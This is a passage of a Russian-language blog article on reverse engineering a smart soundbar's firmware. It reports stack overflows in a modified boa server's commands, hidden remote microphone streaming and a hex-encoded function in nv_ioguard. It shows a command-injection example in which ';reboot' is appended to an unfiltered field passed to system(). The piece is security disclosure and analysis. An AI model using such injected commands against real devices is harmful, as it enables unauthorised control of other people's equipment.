\u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043f\u043e\u0440\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e 443\/TCP, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043d\u0430 80\/TCP. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0446\u0438\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f, \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439 Host \u0438 Email \u0432 \u044d\u0442\u043e\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0435. \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 <code>netstat<\/code>, \u0437\u0430 80\/TCP \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 <code>boa<\/code>.<\/p>\n<h3>\u0427\u0442\u043e \u0437\u0430 boa \u0442\u0430\u043a\u043e\u0435?<\/h3>\n<p>\u041f\u043e\u0438\u0441\u043a \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043c\u0435\u043d\u044f \u043d\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 <a href=\"https:\/\/github.com\/gpg\/boa\/tree\/master\">\u043e\u0434\u043d\u043e\u0438\u043c\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430<\/a>. \u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0435\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u044b\u043b \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0434\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434. \u0422\u0430\u043a\u0436\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u0447\u0442\u043e \u0440\u0430\u043d\u0435\u0435 80-\u0439 \u043f\u043e\u0440\u0442 \u043d\u0430\u0437\u044b\u0432\u0430\u043b\u0441\u044f <a href=\"https:\/\/github.com\/n4archive\/LinkPlayAPI\/blob\/master\/api.md\">LinkPlayAPI<\/a> \u0438 \u0431\u044b\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0434\u043b\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0447\u0435\u043c-\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u0447\u0442\u043e\u0431\u044b \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0432\u0438\u0434\u0435\u043b, \u043a\u0430\u043a\u0443\u044e \u0434\u0438\u0447\u044c \u043e\u043d\u0438 \u0442\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442.<\/p>\n<p>\u0410 \u0442\u0430\u043c \u0438 \u043f\u0440\u0430\u0432\u0434\u0430 \u0447\u0435\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0442 (\u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u0431\u0430\u0432\u043b\u044e, \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430)! \u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043a\u043e\u043c\u0430\u043d\u0434, \u043e \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f \u0434\u0430\u0436\u0435 \u043d\u0435 \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u044e\u0441\u044c, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0437\u0434\u0435\u0441\u044c: <a href=\"https:\/\/gist.github.com\/lab313ru\/148cee5a11001149aff5cdc76a8f4e57\">https:\/\/gist.github.com\/lab313ru\/148cee5a11001149aff5cdc76a8f4e57<\/a> <\/p>\n<p>\u0412\u043e\u0442 \u043f\u0430\u0440\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 <s>\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445<\/s> \u043f\u043b\u043e\u0445\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044d\u0442\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4f2\/290\/173\/4f2290173e966006b2dea74c6c021c66.png\" alt=\"\u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\" title=\"\u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\" width=\"457\" height=\"386\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4f2\/290\/173\/4f2290173e966006b2dea74c6c021c66.png\"\/><\/p>\n<div><figcaption>\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435<\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/1e3\/5b2\/5a8\/1e35b25a863cc756f53d59c15acb278b.png\" alt=\"\u041c\u0435\u0441\u0442\u043e \u21161\" title=\"\u041c\u0435\u0441\u0442\u043e \u21161\" width=\"602\" height=\"251\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/1e3\/5b2\/5a8\/1e35b25a863cc756f53d59c15acb278b.png\"\/><\/p>\n<div><figcaption>\u041c\u0435\u0441\u0442\u043e \u21161<\/figcaption><\/div>\n<\/figure>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ab3\/cdc\/0cf\/ab3cdc0cf7b663b36ec0f67d287b0cef.png\" alt=\"\u041c\u0435\u0441\u0442\u043e \u21162\" title=\"\u041c\u0435\u0441\u0442\u043e \u21162\" width=\"471\" height=\"307\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ab3\/cdc\/0cf\/ab3cdc0cf7b663b36ec0f67d287b0cef.png\"\/><\/p>\n<div><figcaption>\u041c\u0435\u0441\u0442\u043e \u21162<\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b52\/c91\/9aa\/b52c919aae1c3496b4219a294fd1a75d.png\" alt=\"\u041c\u0435\u0441\u0442\u043e \u21163\" title=\"\u041c\u0435\u0441\u0442\u043e \u21163\" width=\"729\" height=\"113\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b52\/c91\/9aa\/b52c919aae1c3496b4219a294fd1a75d.png\"\/><\/p>\n<div><figcaption>\u041c\u0435\u0441\u0442\u043e \u21163<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0443, \u0434\u0443\u043c\u0430\u044e, \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0432 \u0447\u0451\u043c \u0438\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0414\u043b\u044f \u0442\u0435\u0445 \u0436\u0435, \u043a\u043e\u043c\u0443 \u044d\u0442\u0430 \u0442\u0435\u043c\u0430 \u043d\u0435 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0431\u043b\u0438\u0437\u043a\u0430, \u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430, \u043f\u043e\u044f\u0441\u043d\u044e: \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0442\u0435\u043a\u0435, \u043e\u043d\u0430 \u0436\u0435 <em>stack buffer overflow<\/em> \u2014 \u0447\u0443\u0442\u044c \u043b\u0438 \u043d\u0435 \u0441\u0430\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u0448\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u0442\u0432\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0410\u041d\u0411 \u043e\u0431\u0432\u0438\u043d\u044f\u0435\u0442 \u0441\u0430\u043c \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f C. \u0427\u0442\u043e\u0431\u044b \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c, \u043a\u0430\u043a \u043e\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u044f \u043f\u0440\u0438\u0432\u0435\u0434\u0443 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u044e (\u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0430\u0442\u044f\u043d\u0443\u0442\u0443\u044e, \u043d\u043e \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f):<\/p>\n<blockquote>\n<p><em>\u0423 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043a\u043e\u0448\u0435\u043b\u0451\u043a. \u041f\u043e \u0437\u0430\u0432\u0435\u0440\u0435\u043d\u0438\u044f\u043c \u0435\u0433\u043e \u00ab\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432\u00bb, \u0442\u0443\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0440\u043e\u0432\u043d\u043e 128 \u043a\u0443\u043f\u044e\u0440 \u0438 \u043e\u0434\u0438\u043d \u043a\u043b\u044e\u0447 \u043e\u0442 \u0434\u043e\u043c\u0430. \u0415\u0441\u043b\u0438 \u0436\u0435 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u0443\u043f\u044e\u0440, \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 \u0432\u0430\u0441 \u0440\u0430\u0437\u043e\u0439\u0434\u0451\u0442\u0441\u044f \u0448\u043e\u0432, \u0438 \u043a\u043b\u044e\u0447 \u043e\u0442 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u044b \u0432\u044b\u043f\u0430\u0434\u0435\u0442, \u0442\u0430\u043a \u043a\u0430\u043a \u0448\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c. \u0422\u0430\u043a \u0432\u043e\u0442, \u0435\u0441\u043b\u0438 \u0445\u0430\u043a\u0435\u0440 \u0437\u043d\u0430\u0435\u0442 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0430, \u043e\u043d \u043f\u043e\u0434\u043a\u0438\u043d\u0435\u0442 \u0432 \u043d\u0435\u0433\u043e \u043a\u0443\u043f\u044e\u0440\u0443-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0438 \u0431\u0443\u0434\u0435\u0442 \u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430 \u0432\u0430\u043c\u0438, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0434\u043e\u0431\u0443\u0434\u0435\u0442 \u043a\u043b\u044e\u0447.<\/em><\/p>\n<\/blockquote>\n<p>\u041a\u0440\u043e\u043c\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430: \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u043e\u043c\u0435 \u0442\u0435\u0445, \u0447\u0442\u043e \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c. \u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442? \u0415\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>system()<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0415\u0441\u043b\u0438 \u0436\u0435 \u0437\u0430 \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u043e\u0447\u043a\u043e\u0439 \u0441 \u0437\u0430\u043f\u044f\u0442\u043e\u0439. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c, \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043a\u0430\u043a \u0435\u0441\u0442\u044c, \u043c\u043e\u0436\u043d\u043e \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>;reboot<\/code>\u00a0\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b LinkPlayAPI, \u0442\u043e \u0432\u043e\u0442 \u0432\u0430\u043c \u0432\u043a\u0443\u0441\u043d\u044f\u0448\u043a\u0430: \u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0438\u043c\u0430 \u0441 \u0432\u0430\u0448\u0435\u0433\u043e \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430, \u0432\u0441\u0451 \u0442\u0430\u043a \u0436\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0430 \u0438\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u043e\u0441\u043e\u0431\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 <code>asr_tts<\/code><em> <\/em>(\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0435\u0449\u0451 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <code>hobot<\/code><em>)<\/em>. \u0423 \u044d\u0442\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438.<\/p>\n<blockquote>\n<p><em>\u0417\u0430\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u043b\u0430\u043c\u043f\u043e\u0447\u043a\u0430 Alexa \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0433\u043e\u0440\u0435\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0438 \u0432\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0443\u0437\u043d\u0430\u0435\u0442\u0435, \u0447\u0442\u043e \u0432\u0430\u0441 \u0441\u043b\u0443\u0448\u0430\u044e\u0442.<\/em><\/p>\n<\/blockquote>\n<p>\u042d\u0442\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0441\u0442\u0435\u0439, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u044d\u0442\u043e\u0442 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440. \u041d\u0430\u043a\u0438\u043d\u0443 \u0432\u0430\u043c \u043f\u0430\u0440\u043e\u0447\u043a\u0443, \u0430 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0447\u0430\u0441\u0442\u0438, \u0435\u0441\u043b\u0438 \u0437\u0430\u0445\u043e\u0442\u0438\u0442\u0435, \u0440\u0430\u0437\u0431\u0435\u0440\u0443 \u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435.<\/p>\n<p>\u0412\u043e\u0442 \u043a\u0443\u0441\u043e\u043a \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f <code>nv_ioguard<\/code>, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u0447\u0435\u0440\u0435\u0437 443-\u0439 \u043f\u043e\u0440\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/989\/d3b\/e1c\/989d3be1cf8bd6d7d7e724ccf2eac1f8.png\" alt=\"What the hex?\" title=\"What the hex?\" width=\"602\" height=\"156\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/989\/d3b\/e1c\/989d3be1cf8bd6d7d7e724ccf2eac1f8.png\"\/><\/p>\n<div><figcaption>What the hex?<\/figcaption><\/div>\n<\/figure>\n<p>\u0415\u0441\u043b\u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043c\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u043e \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0437\u0434\u0435\u0441\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e. \u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u044d\u0442\u0443 HEX-\u0441\u0442\u0440\u043e\u043a\u0443 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u2026<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/857\/a2e\/ccd\/857a2eccd79a4a3fbf8b06d493b0abe5.png\" alt=\"???\" title=\"???\" width=\"602\" height=\"55\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/857\/a2e\/ccd\/857a2eccd79a4a3fbf8b06d493b0abe5.png\"\/><\/p>\n<div><figcaption>???<\/figcaption><\/div>\n<\/figure>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e (\u0438\u043b\u0438 \u043a \u0441\u0447\u0430\u0441\u0442\u044c\u044e), \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043d\u0435 \u043d\u0430\u0448\u043b\u043e\u0441\u044c, \u043a\u0430\u043a \u0438 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 <code>CustomShell<\/code> \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 <code>rootApp<\/code>. \u041d\u043e \u0441\u0430\u043c\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 (\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0443\u0436\u0435 \u0432 \u0434\u0440\u0443\u0433\u043e\u043c, \u0431\u043e\u043b\u0435\u0435 \u0437\u0430\u043a\u043e\u043d\u0441\u043f\u0438\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435) \u0440\u0430\u0434\u043e\u0432\u0430\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0442\u0443\u0434\u0430 \u0436\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/592\/e9e\/65c\/592e9e65c4278bcfd99755f1ddf86e0d.png\" alt=\"\u0428\u043e, \u043e\u043f\u044f\u0442\u044c?\" title=\"\u0428\u043e, \u043e\u043f\u044f\u0442\u044c?\" width=\"595\" height=\"171\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/592\/e9e\/65c\/592e9e65c4278bcfd99755f1ddf86e0d.png\"\/><\/p>\n<div><figcaption>\u0428\u043e, \u043e\u043f\u044f\u0442\u044c?<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043c\u043e\u0451 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u043b\u0451\u043a \u0444\u0430\u0439\u043b\u0438\u043a <code>ota.json<\/code> \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9b2\/26a\/06e\/9b226a06ecdf6539146b36569c126d5d.png\" alt=\"\u041a\u0430\u043a \u0431\u044b OTA, \u043d\u043e \u043d\u0435 OTA\" title=\"\u041a\u0430\u043a \u0431\u044b OTA, \u043d\u043e \u043d\u0435 OTA\" width=\"691\" height=\"285\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9b2\/26a\/06e\/9b226a06ecdf6539146b36569c126d5d.png\"\/><\/p>\n<div><figcaption>\u041a\u0430\u043a \u0431\u044b OTA, \u043d\u043e \u043d\u0435 OTA<\/figcaption><\/div>\n<\/figure>\n<p>\u041c\u043e\u0436\u0435\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043d\u0443\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 OTA-\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u041d\u043e \u0447\u0442\u043e \u0432\u044b \u0441\u043a\u0430\u0436\u0435\u0442\u0435, 